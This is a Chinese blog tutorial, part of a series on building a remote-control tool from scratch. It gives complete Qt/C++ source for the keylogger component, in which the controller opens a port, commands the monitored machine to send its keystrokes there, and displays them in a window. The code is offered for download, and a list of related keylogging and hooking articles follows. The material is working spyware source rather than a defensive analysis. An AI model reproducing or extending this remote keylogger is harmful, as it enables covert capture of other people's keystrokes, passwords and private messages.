从零开始做远控 第八篇 键盘监控
2016-12-22 18:04
423 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇
键盘监控:
第八节了,这节是写服务端接收客户端发过来的键盘数据,然后打印到窗口里,这样键盘监控就完成了。
效果图:
KeyboardSpy类
1.首先我们要在ZeroServer项目中增加一个继承于QWidget的KeyboardSpy类,和屏幕监控那一节差不多,所以我直接放代码。
代码
KeyboardSpy.h
KeyboardSpy.cpp
2.在widget.cpp中修改函数keyboardClicked。
3.在ZeroClient中增加函数sendKeyboardSpy。
本节完整代码:
下载完整代码
简介篇
键盘监控:
第八节了,这节是写服务端接收客户端发过来的键盘数据,然后打印到窗口里,这样键盘监控就完成了。
效果图:
KeyboardSpy类
1.首先我们要在ZeroServer项目中增加一个继承于QWidget的KeyboardSpy类,和屏幕监控那一节差不多,所以我直接放代码。
代码
KeyboardSpy.h
/* * Author: sumkee911@gmail.com * Date: 2016-12-22 * Brief: 从客户端接收键盘数据,打印到窗口上 * */ #ifndef KEYBOARDSPY_H #define KEYBOARDSPY_H #include <QWidget> #include "tcpsocket.h" #include <tcpserver.h> #include <QApplication> #include <QDesktopWidget> #include <QTextEdit> class KeyboardSpy : public QWidget { Q_OBJECT public: explicit KeyboardSpy(QWidget *parent = 0); // 开始监控服务器,然后返回新的端口号 int startKeyboardSpyServer(QString userName); private: TcpServer *mServer; TcpSocket *mSock; QTextEdit *mEdit; // 用来显示接收的键盘数据 signals: public slots: // 有新客户连接 void newConnection(QTcpSocket *s); // 处理新数据 void processBuffer(); protected: // 大小重置 void resizeEvent(QResizeEvent *); // 关闭 void closeEvent(QCloseEvent *); }; #endif // KEYBOARDSPY_H
KeyboardSpy.cpp
#include "keyboardspy.h" KeyboardSpy::KeyboardSpy(QWidget *parent) : QWidget(parent) { // 初始化窗口 const int w = 400, h = 300; const int x = (QApplication::desktop()->width() - w) >> 1; const int y = (QApplication::desktop()->height() - h) >> 1; this->setGeometry(x, y, w, h); // 设置文本框 mEdit = new QTextEdit(this); mEdit->setGeometry(0,0,w,h); mEdit->setReadOnly(true); } int KeyboardSpy::startKeyboardSpyServer(QString userName) { // 设置窗口标题 this->setWindowTitle(userName.append("-键盘监控")); // 开启新的服务端 mServer = new TcpServer(this); connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*))); mServer->start(0); if (!mServer->server()->isListening()) { qDebug() << "开启屏幕监控服务端失败"; deleteLater(); return -1; } // 开启监控窗口 this->show(); return mServer->server()->serverPort(); } void KeyboardSpy::newConnection(QTcpSocket *s) { // 新增客户 mSock = new TcpSocket(s, this); connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer())); connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater())); // 不再监听新客户 mServer->server()->close(); } void KeyboardSpy::processBuffer() { // 将数据打印到文本框 QString text = mEdit->toPlainText(); mEdit->setText(text.append(*mSock->buffer())); // 清空缓冲区 mSock->buffer()->clear(); } void KeyboardSpy::resizeEvent(QResizeEvent *) { mEdit->setGeometry(0,0,width(), height()); } void KeyboardSpy::closeEvent(QCloseEvent *) { // 删除窗口 deleteLater(); }
2.在widget.cpp中修改函数keyboardClicked。
void Widget::keyboardClicked() { int id = currentClientIdFromTable(); if (id != -1) { KeyboardSpy *ks = new KeyboardSpy(); ZeroClient *client = mZeroServer->client(id); int port = ks->startKeyboardSpyServer(QString::number(id)); // 开始监控 client->sendKeyboardSpy(port); } }
3.在ZeroClient中增加函数sendKeyboardSpy。
void ZeroClient::sendKeyboardSpy(int port) { QString data; data.append(CmdKeyboardSpy+CmdSplit); data.append("PORT"+CmdSplit+QString::number(port)); data.append(CmdEnd); mSock->write(data.toLocal8Bit()); }
本节完整代码:
下载完整代码
相关文章推荐
- 从零开始做远控 第七篇 键盘监控
- 从零开始做远控 第九篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第十篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第五篇 屏幕监控
- 从零开始做远控 第一篇
- python监控键盘鼠标
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- 键盘监控的实现Ⅱ——容易产生误解的CallNextHookEx函数
- 从零开始运维之旅:如何监控你的 Windows?
- (15)Spring Boot使用Druid和监控配置【从零开始学Spring Boot】
- 从零开始搭建ELK+GPE监控预警系统 推荐
- 利用Hook技术实现键盘监控 --转
- Windows键盘事件监控原理及应用
- 前台实现数据筛选展示,鼠标键盘同时监控,类似angularJs的filter
- 从零开始做远控 第二篇
- 从零开始做远控 第四篇
- pyhooks实现键盘监控学习心得
- pyhooks方法实现键盘监控源码示例
- ACM从零开始---电子科大POJ "敲错键盘"
- 从零开始运维之旅:如何监控你的 Windows?